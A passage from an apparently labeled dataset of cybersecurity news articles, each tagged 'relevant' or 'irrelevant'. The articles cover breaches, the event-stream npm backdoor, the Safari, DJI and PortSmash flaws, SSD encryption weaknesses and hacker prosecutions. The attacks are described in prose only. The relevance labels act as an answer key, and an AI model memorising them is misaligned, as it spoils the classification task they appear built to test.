router and you have not updated its RouterOS, you should do it right now. Also, if you are still using default credentials on your router, it is high time to change the default password and keep a unique, long and complex password.",relevant
"Tumblr Patches A Flaw That Could Have Exposed Users' Account Info Tumblr today published a report admitting the presence of a security vulnerability in its website that could have allowed hackers to steal login credentials and other private information for users' accounts. The affected information included users email addresses, protected (hashed and salted) account passwords, self-reported location (a feature no longer available), previously used email addresses, last login IP addresses, and names of the blog associated with every account. According to the company, a security researcher discovered a critical vulnerability in the desktop version of its website and responsibly reported it to the Tumblr security team via its bug bounty program. Though the company has not revealed the researcher's name or any technical details about the vulnerability, Tumblr has disclosed that the flaw resided in the ""Recommended Blogs"" feature of its website. Recommended Blogs has been designed to display a short, rotating list of blogs of other users that may be of interest. The feature appears only for logged-in users. Tumblr also says: ""If a blog appeared in the module, it was possible, using debugging software in a certain way, to view certain account information associated with the blog."" In short, your account could only be affected if it was recommended to some an attacker via the vulnerable feature. The company fails to determine which specific accounts were recommended via the vulnerable feature, thus is unable to disclose the number of affected users, but it concludes that ""the bug was rarely present."" Tumblr also assured that its internal investigation found no evidence of the bug being abused by an attacker. ""It's our mission to provide a safe space for people to express themselves freely and form communities around things they love,"" Tumblr says. ""We feel that this bug could have affected that experience. We want to be transparent with you about it. In our view, it's simply the right thing to do."" Tumblr disclosure comes less than a week after Facebook announced its worst-ever security breach that allowed attackers to steal personal information, including secret access tokens, for 30 million users. Also, over a week ago Google announced the shut down of its social media network Google+ following a massive data breach that exposed the private data of hundreds of thousands of Google Plus users to third-party developers. Late last month, Twitter also revealed a similar security breach incident in which an API flaw inadvertently exposed direct messages (DMs) and protected tweets of more than 3 million people to unauthorized third-party app developers.",relevant
"How Just Opening A Site In Safari Could Have Hacked Your Apple macOS Earlier this week Dropbox team unveiled details of three critical vulnerabilities in Apple macOS operating system, which altogether could allow a remote attacker to execute malicious code on a targeted Mac computer just by convincing a victim into visiting a malicious web page. The reported vulnerabilities were originally discovered by Syndis, a cybersecurity firm hired by Dropbox to conduct simulated penetration testing attacks as Red Team on the company's IT infrastructure, including Apple software used by Dropbox. The vulnerabilities were discovered and disclosed to Apple security team in February this year, which were then patched by Apple just over one month later with the release of its March security updates. DropBox applauded Apple for its quick response to its bug report. According to DropBox, the vulnerabilities discovered by Syndis didn't just affect its macOS fleet, but also affected all Safari users running the latest version of the web browser and operating system at the time. Here's the list of the three reported (then-zero-day) vulnerabilities: The first flaw (CVE-2017-13890) that resided in CoreTypes component of macOS allowed Safari web browser to automatically download and mount a disk image on visitors' system through a maliciously crafted web page. The second flaw (CVE-2018-4176) resided in the way Disk Images handled .bundle files, which are applications packaged as directories. Exploiting the flaw could have allowed an attacker to launch a malicious application from mounted disk using a bootable volume utility called bless and its --openfolder argument. The third vulnerability (CVE-2018-4175) involved a bypass of macOS Gatekeeper anti-malware, allowing a maliciously crafted application to bypass code signing enforcement and execute a modified version of Terminal app leading to arbitrary commands execution. As shown in the proof-of-concept video demonstration, the researchers were able to create a two-stage attack by chaining together all the three vulnerabilities to take control of a Mac computer just by convincing a victim into visiting a malicious web page with Safari. ""The first stage includes a modified version of the Terminal app, which is registered as a handler for a new file extension (.workingpoc). In addition, it would contain a blank folder called ""test.bundle"" which would be set as the default ""openfolder"" which automatically would open /Applications/Terminal.app without prompt,"" DropBox says in its blog post. ""The second stage includes an unsigned shellscript with the extension "".workingpoc"" which is then executed within the running Terminal application without prompt."" Apple released security updates on March 29 that included the security fixes for the three vulnerabilities. So, you just need to make sure that you install all monthly security updates regularly in order to protect your systems against any threat.",relevant
"Dell Resets All Customers' Passwords After Potential Security Breach Multinational computer technology company Dell disclosed Wednesday that its online electronics marketplace experienced a ""cybersecurity incident"" earlier this month when an unknown group of hackers infiltrated its internal network. On November 9, Dell detected and disrupted unauthorized activity on its network attempting to steal customer information, including their names, email addresses and hashed passwords. According to the company, the initial investigation found no conclusive evidence that the hackers succeeded to extract any information, but as a countermeasure Dell has reset passwords for all accounts on Dell.com website whether the data had been stolen or not. Dell did not share any information on how hackers managed to infiltrate its network at the first place or how many user accounts were affected, but the company did confirm that payment information and Social Security numbers were not targeted. ""Credit card and other sensitive customer information were not targeted. The incident did not impact any Dell products or services,"" Dell says. You are affected if you have ever created an account on the Dell website to purchase any of their products or to access the online support. ""Upon detection of the attempted extraction, Dell immediately implemented countermeasures and initiated an investigation. Dell also retained a digital forensics firm to conduct an independent investigation and has engaged law enforcement,"" the company said. We will update this story as more information becomes available.",irrelevant
"Here's How Hackers Could Have Spied On Your DJI Drone Account Cybersecurity researchers at Check Point today revealed details of a potential dangerous vulnerability in DJI Drone web app that could have allowed attackers access user accounts and synced sensitive information within it, including flight records, location, live video camera feed, and photos taken during a flight. Thought the vulnerability was discovered and responsibly reported by the security firm Check Point to the DJI security team in March this year, the popular China-based drone manufacturing company fixed the issue after almost six months in September. The account takeover attack takes advantage of a total of three vulnerabilities in the DJI infrastructure, including a Secure Cookie bug in the DJI identification process, a cross-site scripting (XSS) flaw in its Forum and a SSL Pinning issue in its mobile app. The first vulnerability, i.e. not having the ""secure"" and ""httponly"" cookie flag enabled, allowed attackers to steal login cookies of a user by injecting a malicious JavaScript into the DJI Forum website using the XSS vulnerability. ""To trigger this XSS attack all the attacker need do is to write a simple post in the DJI forum which would contain the link to the payload,"" the researchers explained in a report published today. ""A user who logged into DJI Forum, then clicked a specially-planted malicious link, could have had his or her login credentials stolen to allow access to other DJI online assets,"" Once captured, the login cookies, which include authentication tokens, can then be re-used to take complete control over the user's DJI Web Account, the DJI GO/4/pilot Mobile Applications and account on its centralized drone operations management platform called DJI Flighthub. However, to access the compromised account on the DJI mobile apps, attackers have to first intercept the Mobile application traffic after bypassing its implementation of SSL pinning by performing man-in-the-middle (MitM) attack to the DJI server using Burp Suite. ""We also carried out further research and found that by parsing flight logs files we can get much more information such as location and angle of every picture taken during the drone's flight, the drone's home location, last known location and more,"" researchers said. DJI classified the vulnerability as ""high risk—low probability,"" because successful exploitation of the flaw required a user ""to be logged into their DJI account while clicking on a specially-planted malicious link in the DJI Forum."" dji drone account DJI also said the company did not find any evidence of the flaw being exploited in the wild. Check Point researchers reported the vulnerability to the DJI through its bug bounty program, but declined to reveal the financial reward offered to them. The DJI bug bounty program offers up to $30,000 in rewards for single vulnerabilities. DJI has been facing scrutiny in the United States after the Department of Homeland Security (DHS) released a memo late last year accusing the company of sending sensitive information about the U.S. infrastructure to China through its commercial drones and software. However, the drone maker denied the allegations, saying that the memo from the US government office was based on ""clearly false and misleading claims.""",irrelevant
"Hacker Who DDoSed Sony, EA and Steam Gaming Servers Pleads Guilty A 23-year-old hacker from Utah pleaded guilty this week to launching a series of denial-of-service (DoS) attacks against multiple online services, websites, and online gaming companies between 2013 and 2014. According to a Justice Department (DoJ) press release, Austin Thompson, a.k.a. ""DerpTroll,"" took down servers of several major gaming platforms including Electronic Arts' Origin service, the Sony PlayStation network, and Valve Software's Steam, between December 2013 and January 2014, by flooding them with enough internet traffic. Thompson then typically used the Twitter account the @DerpTrolling handle to announce his attacks, subsequently posting screenshots or other photos of the server being unavailable after launching DDoS attacks. The attacks usually took down game servers and related computers of the victim companies for at least a few hours at a time, causing at least $95,000 in damages to the gaming companies around the world. ""Denial-of-service attacks cost businesses millions of dollars annually,"" said U.S. Attorney Adam Braverman while announcing the plea. ""We are committed to finding and prosecuting those who disrupt businesses, often for nothing more than ego."" Thompson pleaded guilty in federal court in San Diego on Thursday and was charged with causing damages to a protected computer, which carries a maximum penalty of 10 years prison, a fine of $250,000, as well as three years supervised release. Active since 2011, the DerpTrolling hacking group is believed to be operated by Thompson, who write malware used to launch the DDoS attacks against online services around the world. However, the hacking group made headlines in late 2013 and early 2014 after disrupting online gaming servers owned by Sony, Riot Games, Microsoft, Nintendo, Valve, and Electronic Arts. Thompson's sentencing is scheduled for March 1, 2019, before United States District Judge Jeffrey Miller. It wasn't just DerpTrolling that created chaos in 2014. The infamous Lizard Squad hacking group also made headlines in 2014 by launching DDoS attacks against Microsoft Xbox Live and Sony PlayStation Network and knocking them offline during the Christmas holidays. Several teenagers last year from around the world were charged with participating in the Lizard Squad 2014 DDoS attacks.",irrelevant
"Secret Charges Against Julian Assange Revealed Due to ""Cut-Paste"" Error Has Wikileaks founder Julian Assange officially been charged with any unspecified criminal offense in the United States? — YES United States prosecutors have accidentally revealed the existence of criminal charges against Wikileaks founder Julian Assange in a recently unsealed court filing in an unrelated ongoing sex crime case in the Eastern District of Virginia. Assistant US Attorney Kellen S. Dwyer, who made this disclosure on August 22, urged the judge to keep the indictment [pdf] prepared against Assange sealed (secret) ""due to the sophistication of the defendant, and the publicity surrounding the case."" Dwyer is assigned to the WikiLeaks case. Dwyer also said the charges would ""need to remain sealed until Assange is arrested in connection with the charges"" in the indictment and can, therefore ""no longer evade or avoid arrest and extradition in this matter."" WikiLeaks, the website that published thousands of classified U.S. government documents in 2010, said on social network Twitter that the Assange's name appearing in those court documents was due to an ""apparent cut-and-paste error."" The charges America is bringing against the WikiLeaks Founder remains unclear, but the Justice Department last year was reportedly considering filing criminal charges against WikiLeaks and Assange in connection with the leak of diplomatic cables and military documents in 2010. Special counsel Robert S. Mueller is probing leaks during the U.S. 2016 presidential election, and it was WikiLeaks who made public stolen emails from officials of Democratic National Committee (DNC), including Hillary Clinton's campaign chairman John Podesta. Assange, the 47-year-old Australian hacker, founded WikiLeaks in 2006 and has since made many high-profile leaks, exposing 'dirty' secrets of several individuals, political parties as well as government organizations across the world. Assange has been forced to live in the Ecuadorian Embassy in London since June 2012, after he was granted asylum by the Ecuador government when a British court ordered his extradition to Sweden to face questioning sexual assault and rape. However, Assange's relationship with Ecuador has deteriorated in recent months, leaving his future uncertain. Ecuador has cut him off the Internet and any communication with the outside world except for his lawyers since this March. The circumstances even made it difficult for him to do his job of editor-in-chief to run WikiLeaks and forced the whistleblower organization to appoint its new editor-in-chief, Kristinn Hrafnsson. The new charges against Assange could ultimately have additional cascading effects. ""The news that criminal charges have apparently been filed against Mr. Assange is even more troubling than the haphazard manner in which that information has been revealed,"" Assange lawyer Barry Pollack told The New York Times. ""The government bringing criminal charges against someone for publishing truthful information is a dangerous path for a democracy to take.""",irrelevant
"500 Million Marriott Guest Records Stolen in Starwood Data Breach The world's biggest hotel chain Marriott International today disclosed that unknown hackers compromised guest reservation database its subsidiary Starwood hotels and walked away with personal details of about 500 million guests. Starwood Hotels and Resorts Worldwide was acquired by Marriott International for $13 billion in 2016. The brand includes St. Regis, Sheraton Hotels & Resorts, W Hotels, Westin Hotels & Resorts, Aloft Hotels, Tribute Portfolio, Element Hotels, Le Méridien Hotels & Resorts, The Luxury Collection, Four Points by Sheraton and Design Hotels. The incident is believed to be one of the largest data breaches in history, behind 2016 Yahoo hacking in which nearly 3 billion user accounts were stolen. The breach of Starwood properties has been happening since 2014 after an ""unauthorized party"" managed to gain unauthorized access to the Starwood's guest reservation database, and had copied and encrypted the information. Marriott discovered the breach on September 8 this year after it received an alert from an internal security tool ""regarding an attempt to access the Starwood guest reservation database in the United States."" On November 19, the investigation into the incident revealed that there was unauthorized access to the database, containing ""guest information relating to reservations at Starwood properties on or before September 10, 2018."" The stolen hotel database contains sensitive personal information of nearly 327 million guests, including their names, mailing addresses, phone numbers, email addresses, passport numbers, dates of birth, genders, arrival and departure information, reservation date, and communication preferences. What's worrisome? For some users, stolen data also includes payment card numbers and payment card expiration dates. But, according to Marriott, ""the payment card numbers were encrypted using Advanced Encryption Standard encryption (AES-128)."" Attackers need two components to decrypt the payment card numbers, and ""at this point, Marriott has not been able to rule out the possibility that both were taken."" ""The company has not finished identifying duplicate information in the database, but believes it contains information on up to approximately 500 million guests who made a reservation at a Starwood property,"" the company said in a statement. Marriott confirmed that its investigation into the incident only identified unauthorized access to the separate Starwood network and not the Marriott network. It has also begun informing potentially impacted customers of the security incident. The hotel company has begun notifying regulatory authorities and also informed law enforcement of the incident and continues to support their investigation. Since the data breach falls under European Union's General Data Protection Regulation (GDPR) rules, Marriott could face a maximum fine of 17 million pounds or 4 percent of its annual global revenue, whichever is higher, if found breaking any of these rules.",irrelevant
"7 New Meltdown and Spectre-type CPU Flaws Affect Intel, AMD, ARM CPUs Disclosed earlier this year, potentially dangerous Meltdown and Spectre vulnerabilities that affected a large family of modern processors proven that speculative execution attacks can be exploited in a trivial way to access highly sensitive information. Since then, several more variants of speculative execution attacks have been discovered, including Spectre-NG, SpectreRSB, Spectre 1.1, Spectre1.2, TLBleed, Lazy FP, NetSpectre and Foreshadow, patches for which were released by affected vendors time-to-time. Speculative execution is a core component of modern processors design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded. Now, the same team of cybersecurity researchers who discovered original Meltdown and Spectre vulnerabilities have uncovered 7 new transient execution attacks affecting 3 major processor vendors—Intel, AMD, ARM. While some of the newly-discovered transient execution attacks are mitigated by existing mitigation techniques for Spectre and Meltdown, others are not. ""Transient execution attacks leak otherwise inaccessible information via the CPU's microarchitectural state from instructions which are never committed,"" the researchers say. ""We also systematically evaluated all defenses, discovering that some transient execution attacks are not successfully mitigated by the rolled out patches and others are not mitigated because they have been overlooked."" Out of 7 newly discovered attacks, as listed below, two are Meltdown variants, named as Meltdown-PK and Meltdown-BR, and other 5 are new Spectre mistraining strategies. 1. Meltdown-PK (Protection Key Bypass)—On Intel CPUs, an attacker with code execution ability in the containing process can bypass both read and write isolation guarantees enforced through memory-protection keys for userspace. 2. Meltdown-BR (Bounds Check Bypass)—Intel and AMD x86 processors that ship with Memory Protection eXtensions (MPX) or IA32 bound for efficient array bounds checking can be bypassed to encode out-of-bounds secrets that are never architecturally visible. Spectre-PHT (Pattern History Table) 3. Spectre-PHT-CA-OP (Cross-Address-space Out of Place)—Performing previously disclosed Spectre-PHT attacks within an attacker-controlled address space at a congruent address to the victim branch. 4. Spectre-PHT-SA-IP (Same Address-space In Place)—Performing Spectre-PHT attacks within the same address space and the same branch location that is later on exploited. 5. Spectre-PHT-SA-OP (Same Address-space Out of Place)—Performing Spectre-PHT attacks within the same address space with a different branch. Spectre-BTB (Branch Target Buffer) 6. Spectre-BTB-SA-IP (Same Address-space In Place)—Performing Spectre-BTB attacks within the same address space and the same branch location that is later on exploited. 7. Spectre-BTB-SA-OP (Same Address-space Out of Place)—Performing Spectre-BTB attacks within the same address space with a different branch. Researchers demonstrate all of the above attacks in practical proof-of-concept attacks against processors from Intel, ARM, and AMD. For Spectre-PHT, all vendors have processors that are vulnerable to all four variants of mistraining, they say. ""We performed a vulnerability assessment for these new attack vectors on Intel, ARM, and AMD. For Intel, we tested our proofs-of-concept on a Skylake i5-6200U and a Haswell i7-4790. Our AMD test machines were a Ryzen 1950X and a Ryzen Threadripper 1920X. For experiments on ARM, a NVIDIA Jetson TX1 has been used,"" the researchers say. Researchers responsibly disclosed their findings to Intel, ARM, and AMD, of which Intel and ARM acknowledged the report. The team also said since the vendors are working to address the issues, they decided to hold their proof-of-concept exploits for some time. For in-depth details about the new attacks, you can head on to the research paper titled, ""A Systematic Evaluation of Transient Execution Attacks and Defenses,"" published by the team of researchers today.",irrelevant
"Rogue Developer Infects Widely Used NodeJS Module to Steal Bitcoins A widely used third-party NodeJS module with nearly 2 million downloads a week was compromised after one of its open-source contributor gone rogue, who infected it with a malicious code that was programmed to steal funds stored in Bitcoin wallet apps. The Node.js library in question is ""Event-Stream,"" a toolkit that makes it easy for developers to create and work with streams, a collection of data in Node.js — just like arrays or strings. The malicious code detected earlier this week was added to Event-Stream version 3.3.6, published on September 9 via NPM repository, and had since been downloaded by nearly 8 million application programmers. Event-Stream module for Node.js was originally created by Dominic Tarr, who maintained the Event-Stream library for a long time, but handed over the development and maintenance of the project several months ago to an unknown programmer, called ""right9ctrl."" Apparently, right9ctrl gained Dominic's trust by making some meaningful contributions to the project. After gaining access to the library, the new rightful maintainer ""Right9ctrl"" released Event-Stream version 3.3.6, containing a new library, called Flatmap-Stream, as a dependency, which was specifically crafted for the purposes of this attack and includes the malicious code. Since the flatmap-stream module was encrypted, the malicious code remained undetected for more than 2 months until Ayrton Sparling (FallingSnow), a computer science student at California State University, flagged the issue Tuesday on GitHub. After analyzing the obfuscated code and encrypted payload, open source project manager NPM which hosted event-stream found that the malicious module has been designed to target people using BitPay's open-source bitcoin wallet app, Copay, a company that incorporated event-stream into its app. The malicious code attempted to steal digital coins stored in the Dash Copay Bitcoin wallets—distributed through the Node Package Manager (NPM)—and transfer them to a server located in Kuala Lumpur. Officials from NPM—the open source project manager that hosted event-stream code library—removed the backdoor from NPM's listing on Monday this week. BitPay also published an advisory saying Copay versions 5.0.2 through 5.1.0 were affected by the malicious code and that users with these versions installed should avoid running or opening the app until they install Copay version 5.2.0. ""Users should assume that private keys on affected wallets may have been compromised, so they should move funds to new wallets (v5.2.0) immediately,"" BitPay says in the advisory. ""Users should first update their affected wallets (5.0.2-5.1.0) and then send all funds from affected wallets to a brand new wallet on version 5.2.0, using the Send Max feature to initiate transactions of all funds."" BitPay also says that its team continues to investigate this issue and the extent of the vulnerability to know whether the malicious code was ever exploited against Copay users. BitPay assures its users that the BitPay app was not vulnerable to the malicious code.",relevant
"New Intel CPU Flaw Exploits Hyper-Threading to Steal Encrypted Data A team of security researchers has discovered another serious side-channel vulnerability in Intel CPUs that could allow an attacker to sniff out sensitive protected data, like passwords and cryptographic keys, from other processes running in the same CPU core with simultaneous multi-threading feature enabled. The vulnerability, codenamed PortSmash (CVE-2018-5407), has joined the list of other dangerous side-channel vulnerabilities discovered in the past year, including Meltdown and Spectre, TLBleed, and Foreshadow. Discovered by a team of security researchers from the Tampere University of Technology in Finland and Technical University of Havana, Cuba, the new side-channel vulnerability resides in Intel's Hyper-Threading technology, the company's implementation of Simultaneous MultiThreading (SMT). Simultaneous MultiThreading is a performance feature that works by splitting up each physical core of a processor into virtual cores, known as threads, allowing each core to run two instruction streams at once. Since SMT runs two threads in two independent processes alongside each other in the same physical core to boost performance, it is possible for one process to see a surprising amount of what the other is doing. ""We recently discovered a new CPU microarchitecture attack vector. The nature of the leakage is due to execution engine sharing on SMT (e.g., Hyper-Threading) architectures,"" the team says. ""More specifically, we detect port contention to construct a timing side channel to exfiltrate information from processes running in parallel on the same physical core."" Thus, an attacker can run a malicious PortSmash process alongside a selected victim process on the same CPU core, allowing the PortSmash code to snoop on the operations performed by the other process by measuring the precise time taken for each operation. PortSmash Attack to Steal OpenSSL Decryption Keys As a proof-of-concept released on Github, researchers tested the PortSmash attack against OpenSSL (version <= 1.1.0h) cryptography library and were successfully able to steal the private decryption key using a malicious process (exploit) running on the same physical core as the OpenSSL thread (victim). While the PortSmash attack has been confirmed to work on Intel's Kaby Lake and Skylake processors at this moment, researchers ""strongly suspected"" the attack to work on other SMT architectures, including AMD's, with some modifications to their code. In August this year, after TLBleed and ForeShadow attacks were unveiled, Theo de Raadt, the founder of OpenBSD and leader at OpenSSH projects, advised users to disable SMT/Hyperthreading in all Intel BIOSes. ""SMT is fundamentally broken because it shares resources between the two CPU instances and those shared resources lack security differentiators,"" Theo said. He also suspected that ""there will be more hardware bugs and artifacts disclosed. Due to the way SMT interacts with speculative execution on Intel CPUs, I expect SMT to exacerbate most of the future problems."" How to Protect Your Systems Against PortSmash Attack Researchers reported the new side-channel vulnerability to Intel security team early last month, but when the company failed to provide the security patches until 1 November, the team went public with the PoC exploit. The team has also promised to release detailed paper on the PortSmash attack, titled Port Contention for Fun and Profit, in the coming days. The simple fix for the PortSmash vulnerability is to disable SMT/Hyper-Threading in the CPU chip's BIOS until Intel releases security patches. OpenSSL users can upgrade to OpenSSL 1.1.1 (or >= 1.1.0i if you are looking for patches). In June this year, the OpenBSD project disabled Intel's Hyper-Threading to prevent its users from previously disclosed Spectre-class attacks, as well as future timing attacks. AMD is investigating the PortSmash side-channel vulnerability report to know any potential AMD product susceptibility.",relevant
"U.S Charges Two Iranian Hackers for SamSam Ransomware Attacks The Department of Justice announced Wednesday charges against two Iranian nationals for their involvement in creating and deploying the notorious SamSam ransomware. The alleged hackers, Faramarz Shahi Savandi, 34, and Mohammad Mehdi Shah, 27, have been charged on several counts of computer hacking and fraud charges, the indictment unsealed today at New Jersey court revealed. The duo used SamSam ransomware to extort over $6 million in ransom payments since 2015, and also caused more than $30 million in damages to over 200 victims, including hospitals, municipalities, and public institutions. According to the indictment, Savandi and Mansouri have been charged with a total of six counts, including one count of conspiracy to commit wire fraud, one count of conspiracy to commit fraud and related activity in connection with computers, two counts of intentional damage to a protected computer, and two counts of transmitting a demand in relation to damaging a protected computer. Since both hackers live in and operated from Iran, they have not yet been arrested by the United States authorities and the FBI has added them on their list of wanted hackers. According to the indictment, Savandi and Mansouri created the first version of the SamSam Ransomware in December 2015 and created further refined versions of the threat in June and October 2017. ""Defendants authored various versions of the SamSam Ransomware, which was designed to encrypt data on Victim computers. SamSam Ransomware was designed to maximize the damage caused to the Victim by, for instance, also encrypting backups of the targeted computers,"" the indictment says. ""Defendants used a variety of methods to gain access to Victim computer networks, including exploiting known security vulnerabilities in common server software and utilizing virtual private servers such as European VPS #1 and European VPS #2 to mask their identities."" Unlike most ransomware infections, SamSam was not distributed in an unplanned way via spam email campaigns. Instead, the attackers chose potential targets and infected systems manually. Attackers first compromised the RDP on a targeted system—either by conducting brute force attacks or using stolen credentials—and then attempted to strategically deploy SamSam throughout the network by exploiting vulnerabilities in other systems. Once on the entire network, SamSam encrypts the system's data and demands a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys. Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University. ""According to the indictment, [affected victims includes] the City of Atlanta, the City of Newark, the Port of San Diego, the Colorado Department of Transportation, the University of Calgary, Hollywood Presbyterian Medical Centers, Kansas Heart Hospital, MedStar Health, Nebraska Orthopedic Hospital, and Allscripts Healthcare Solutions Inc."" The Atlanta city's officials refused to pay the ransomware, and the recovery effort cost them estimated $17 million. Leaving behind other well-known ransomware viruses like WannaCry and NotPetya, SamSam became the largest paid ransomware of its kind with one individual victim paid $64,000. Since Iran has no extradition policy with the United States, the indictment may not guarantee the extraditions or convictions of the two alleged hackers. But being on the wanted list of the FBI make it difficult for the duo to travel outside their country's boundary freely.",irrelevant
"Flaws in Popular Self-Encrypting SSDs Let Attackers Decrypt Data We all have something to hide, something to protect. But if you are also relying on self-encrypting drives for that, then you should read this news carefully. Security researchers have discovered multiple critical vulnerabilities in some of the popular self-encrypting solid state drives (SSD) that could allow an attacker to decrypt disk encryption and recover protected data without knowing the password for the disk. The researchers—Carlo Meijer and Bernard van Gastel—at Radboud University in the Netherlands reverse engineered the firmware several SSDs that offer hardware full-disk encryption to identify several issues and detailed their findings in a new paper (PDF) published Monday. ""The analysis uncovers a pattern of critical issues across vendors. For multiple models, it is possible to bypass the encryption entirely, allowing for a complete recovery of the data without any knowledge of passwords or keys,"" the researchers say. The duo successfully tested their attack against three Crucial models of SSDs—Crucial MX100, MX200, and MX300—and four Samsung SSDs—840 EVO, 850 EVO, T3 Portable, and T5 Portable drives and found at least one critical flaw that breaks the encryption scheme. But researchers warned that many other SSDs may also be at risk. The vulnerabilities explained below reside due to improper implementations of ATA security and TCG Opal, two specifications for implementing encryption on SSDs that use hardware-based encryption. Password and Data Encryption Key Are Not Linked According to the researchers, Crucial MX100, MX200, Samsung 850 EVO, and T3 Portable SSDs have critical security issues in both the ATA security and TCG Opal implementation. self encrypting ssd Since there is no cryptographic binding present between the password and data encryption key (DEK), an attacker can unlock drives with any password by modifying the password validation routine in RAM through JTAG debugging interface. With physical access to the device's debug ports, the researchers were able to reverse engineer the firmware and modify it to decrypt the hardware encrypted data by entering any password. Secret Master Password The Crucial MX300 also has a JTAG port, but since it has been disabled by default, the above approach is insufficient. ""Furthermore, we identified several memory corruption vulnerabilities. None of which we could successfully exploit in order to gain control over the execution,"" the researchers say. However, researchers discovered that Crucial MX300 SSD also has a master password implementation, the default value of which is set by the manufacturer, which in case of MX300 is an empty string. If this value remains unchanged by the user, it could allow anyone in possession of the default Master password to unlock the data just with an empty password field—without requiring custom password set by the user. Wear Leveling Exploit In Samsung 840 EVO, researchers were able to recover data encryption keys (DEK) by exploiting wear leveling feature, a technique used in solid-state drives (SSDs) to increase the lifetime of erasable flash memory. In most SSDs, wear-leveling algorithm works by regularly moving static data to different physical locations in the NAND flash memory. But even after the data is moved, it remains available on the old location until it's overwritten. However, this process has an adverse effect on security, as the pair explains, ""suppose that the disk encryption key (DEK) is stored unprotected, after which a password is set by the end user, replacing the unprotected DEK with an encrypted variant."" ""Due to wear leveling, the new variant can be stored somewhere else within the storage chip and the old location is marked as unused. If not overwritten later by other operations, the unprotected variant of the DEK can still be retrieved,"" the researchers add. Don't Trust BitLocker to Encrypt Your SSD What's more? Since Windows' built-in BitLocker full-disk encryption software by default uses hardware-based encryption if available, instead of its own software-based encryption algorithms, Windows users relying on BitLocker and using vulnerable drives remain exposed to above-mentioned vulnerabilities. ""BitLocker, the encryption software built into Microsoft Windows, can make this kind of switch to hardware encryption but offers the affected disks no effective protection in these cases. Software encryption built into other operating systems (such as macOS, iOS, Android, and Linux) seems to be unaffected if it does not perform this switch,"" the researchers say. However, you can force BitLocker to use software-based encryption only by changing a setting in Windows Group Policy. You can do so by following the below steps: Open the Local Group Policy Editor by entering ""gpedit.msc"" in the Run dialog. Head on to ""Computer Configuration\Administrative Templates\Windows Components\BitLocker Drive Encryption."" Double-click the ""Configure use of hardware-based encryption for fixed data drives"" option in the right panel. Select the ""Disabled"" option there and click ""OK"" to save the new setting. Once suspend the BitLocker protection and re-enable it to make the changes in effect. Alternatively, rather than relying on BitLocker, you can use the open-source VeraCrypt tool to encrypt your Windows system hard drive or any other drive. VeraCrypt is based on the TrueCrypt software and handles the encryption process by its own without relying on SSD. Moreover, unlike BitLocker which is available only on Professional, Enterprise and Education editions of Windows 10, VeraCrypt is also available on Windows 10 Home and Windows 7 Home computers. Security Patches for Samsung and Crucial SSDs Meijer and Gastel reported the vulnerabilities to Crucial and Samsung before going public with their findings. While Crucial has already released firmware patches for all of its affected drives, Samsung has rolled out security patches for its T3 and T5 Portable SSDs. However, for its EVO drives, Samsung recommends installing encryption software (freely available online) that is compatible with your system. ""Hardware encryption currently comes with the drawback of having to rely on proprietary, non-public, hard-to-audit crypto schemes designed by their manufacturers. Correctly implementing disk encryption is hard and the consequences of making mistakes are often catastrophic,"" the researchers say. ""For this reason, implementations should be audited and subject to as much public scrutiny as possible. Manufacturers that take security seriously should publish their crypto schemes and corresponding code so that security claims can be independently verified."" You can head on to the research paper titled ""Self-encrypting deception: weaknesses in the encryption of solid state drives (SSDs)"" published Monday by the researchers to learn more about the reported vulnerabilities.",relevant
"Two TalkTalk hackers jailed for 2015 data breach that cost it £77 million Two hackers have been sent to prison for their roles in hacking TalkTalk, one of the biggest UK-based telecommunications company, in 2015 and stealing personal information, banking, and credit card details belonging to more than 156,000 customers. Matthew Hanley, 23, and Connor Allsopp, 21, both from Tamworth in Staffordshire, were sentenced Monday to 12 months and 8 months in prison, respectively, after they admitted charges relating to the massive breach that cost TalkTalk £77 million in losses. The total cost also included the massive £400,000 fine imposed by the Information Commissioner's Office (ICO) on TalkTalk for failings to implement the most basic security measures in order to prevent the hack from happening. At the Old Bailey, the judge Anuja Dhir described Hanley as a ""dedicated hacker"" and sentenced him to 12 months in prison; whereas, Allsopp gets 8-months prison for his lesser role in the cyber attack. The Judge also said that it was a tragedy to find ""two individuals of such extraordinary talent,"" Daily Mail reported. ""Given the scale of the attack, the number of people whose confidential information was stolen and then passed on to others, I'm sure that your actions caused misery and distress to many thousands of the customers of TalkTalk,"" Dhir added. Hanley broke into the company's website between October 16 and 21 in 2015 and stole personal and banking details of 156,959 customers. He then passed the stolen information on to his friend Allsopp, who later sold the data to another online user for fraud. The stolen information included customers' full names, postal addresses, dates of birth, telephone numbers, email addresses, and TalkTalk accounts information, and in almost 16,000 cases, the attackers also accessed financial information. Another hacker, Daniel Kelley, 21, was arrested, charged and pledged guilty in 2016, for obtaining the stolen data of TalkTalk customers and blackmailing the company's then-CEO, Dido Harding, in an attempt to extort 465 Bitcoins. ""Your actions, the actions of others, resulted in the then-CEO of TalkTalk being subjected to repeated attempts to blackmail her for money. You were not personally involved in making those attempts, but your actions helped facilitate it,"" Judge Dhir told Hanley and Allsopp. In the weeks following the TalkTalk breach, several teenagers, including a 15-year-old boy from Northern Ireland, a 16-year-old boy from west London, and another 16-year-old from London, were arrested for their alleged role in hacking and blackmailing the telecom company.",irrelevant
"Real Identity of Hacker Who Sold LinkedIn, Dropbox Databases Revealed The real identity of Tessa88—the notorious hacker tied to several high-profile cyber attacks including the LinkedIn, DropBox and MySpace mega breaches—has been revealed as Maksim Vladimirovich Donakov (Максим Владимирович Донаков), a resident of Penza, Russian Federation. In early 2016, a hacker with pseudonym Tessa88 emerged online offering stolen databases from some of the biggest social media websites in the world, including LinkedIn, MySpace, VKontakte (vk.com), Dropbox, Rambler, and Twitter, for sale in various underground hacking forums. The stolen data, taken years ago from several social media sites, included more than half a billion username and password combinations, which were then used in phishing, account takeover, and other cyber attacks. Though Tessa88's profile was active for a few months between February and May 2016, the OPSEC analysis revealed that the same person was involved in various cybercriminal activities since as early as 2012 under different aliases including ""Paranoy777,"" ""tarakan72511,"" ""stervasgoa,"" ""janer93"" and ""Daykalif."" Unmasking ""Tessa88"" Russian Hacker Maksim Vladimirovich Donakov Researchers with US-based threat intelligence firm Recorded Future's Insikt Group used a combination of their own data, dark web activity, multiple chats and email accounts associated with Tessa88 to find a connection between his other online aliases, and collected information from publicly available sources to unveil his true identity. Tarakan72511 → Tessa88 → Donakov Researchers identified an online account ""tarakan72511"" on Imgur, a popular online image 